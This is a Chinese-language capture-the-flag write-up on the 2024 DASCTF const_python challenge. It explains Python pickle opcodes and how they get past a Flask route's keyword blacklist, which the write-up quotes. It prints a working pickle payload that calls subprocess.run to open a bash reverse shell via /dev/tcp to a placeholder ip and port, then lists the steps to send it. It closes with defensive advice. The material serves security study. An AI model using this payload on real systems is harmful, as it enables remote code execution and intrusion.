2024 DASCTF const_python详解
字数 2136 2025-08-22 12:22:42
Python Pickle 反序列化漏洞利用详解
漏洞背景
本文分析的是2024 DASCTF中的const_python题目,涉及Python的pickle反序列化漏洞利用。题目提供了一个Flask web应用,其中/ppicklee路由存在pickle反序列化漏洞,但设置了严格的黑名单过滤。
关键代码分析
漏洞点代码
@app.route('/ppicklee', methods=['POST'])
def ppicklee():
data = request.form['data']
sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:
pickle_data = base64.b64decode(data)
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__',
'template', 'render', ' \\ ', 'compile', 'requests', 'exit', 'pickle',
"class", "mro", "flask", "sys", "base", "init", "config", "session"}:
if i.encode() in pickle_data:
return i + " waf"
pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"
黑名单列表
黑名单过滤了以下关键词:
- 命令执行相关:
os,system,eval,exec,compile,requests - 内置对象:
__builtins__,globals - Pickle相关:
setstate,pickle - Flask相关:
flask,template,render,config,session - 其他:
class,mro,base,init,exit
Pickle Opcode 利用技术
Pickle Opcode 指令表
| 指令 | 描述 | 栈变化 | memo变化 |
|---|---|---|---|
| c | 获取全局对象或import模块 | 对象入栈 | 无 |
| o | 调用栈中函数 | 函数和参数出栈,返回值入栈 | 无 |
| i | c和o的组合 | 数据出栈,返回值入栈 | 无 |
| N | 实例化None | None入栈 | 无 |
| S | 实例化字符串 | 字符串入栈 | 无 |
| V | 实例化UNICODE字符串 | 字符串入栈 | 无 |
| I | 实例化int | int入栈 | 无 |
| F | 实例化float | float入栈 | 无 |
| R | 调用函数 | 函数和参数出栈,返回值入栈 | 无 |
| . | 结束 | 无 | 无 |
| ( | 压入MARK标记 | MARK入栈 | 无 |
| t | 组合数据为元组 | MARK和数据出栈,元组入栈 | 无 |
| ) | 压入空元组 | 空元组入栈 | 无 |
| l | 组合数据为列表 | MARK和数据出栈,列表入栈 | 无 |
| ] | 压入空列表 | 空列表入栈 | 无 |
| d | 组合数据为字典 | MARK和数据出栈,字典入栈 | 无 |
| } | 压入空字典 | 空字典入栈 | 无 |
| p | 储存栈顶对象到memo | 无 | 对象储存 |
| g | 从memo压栈对象 | 对象入栈 | 无 |
| 0 | 丢弃栈顶对象 | 栈顶丢弃 | 无 |
| b | 设置对象属性 | 第一个元素出栈 | 无 |
| s | 添加key-value到字典/列表 | 前两个出栈,第三个更新 | 无 |
| u | 更新字典 | MARK和数据出栈,字典更新 | 无 |
| a | append到列表 | 栈顶出栈,列表更新 | 无 |
| e | extends列表 | MARK和数据出栈,列表扩展 | 无 |
利用subprocess绕过黑名单
由于subprocess模块不在黑名单中,可以利用它执行系统命令:
opcode = b'''
csubprocess
run
p0
((lp1
Vbash
p2
aV-c
p3
aVbash -i >& /dev/tcp/ip/port 0>&1
p4
atp5
Rp6
.
'''
Opcode 详细解释
-
csubprocess\nrun\n:c指令加载subprocess模块run指定要获取的subprocess.run函数
-
p0:- 将
subprocess.run函数存储到memo位置0
- 将
-
((lp1:(开始元组构建(开始另一个元组构建l开始列表构建p1将空列表存储到memo位置1
-
Vbash\np2\na:Vbash压入字符串'bash'p2存储到memo位置2a将'bash'追加到列表中
-
V-c\np3\na:V-c压入字符串'-c'p3存储到memo位置3a将'-c'追加到列表中
-
Vbash -i >& /dev/tcp/ip/port 0>&1\np4\na:- 压入反向shell命令字符串
p4存储到memo位置4a将命令追加到列表中
-
tp5:t结束元组构建p5将元组存储到memo位置5
-
Rp6:R调用subprocess.run函数,使用栈顶元组作为参数p6存储结果到memo位置6
-
.:- 结束pickle序列化
完整利用步骤
- 构造上述pickle opcode
- 进行base64编码
- 向
/ppicklee发送POST请求,data参数为编码后的payload
防御建议
- 避免反序列化不可信数据
- 使用更严格的白名单而非黑名单
- 考虑使用
json等更安全的序列化格式 - 使用
pickle.Unpickler并重写find_class方法限制可加载的类
总结
通过分析这个CTF题目,我们学习了如何利用pickle opcode绕过黑名单限制,特别是当关键模块被过滤时如何寻找替代方案(如使用subprocess代替os.system)。理解pickle的底层机制对于构建有效的payload和防御此类攻击都至关重要。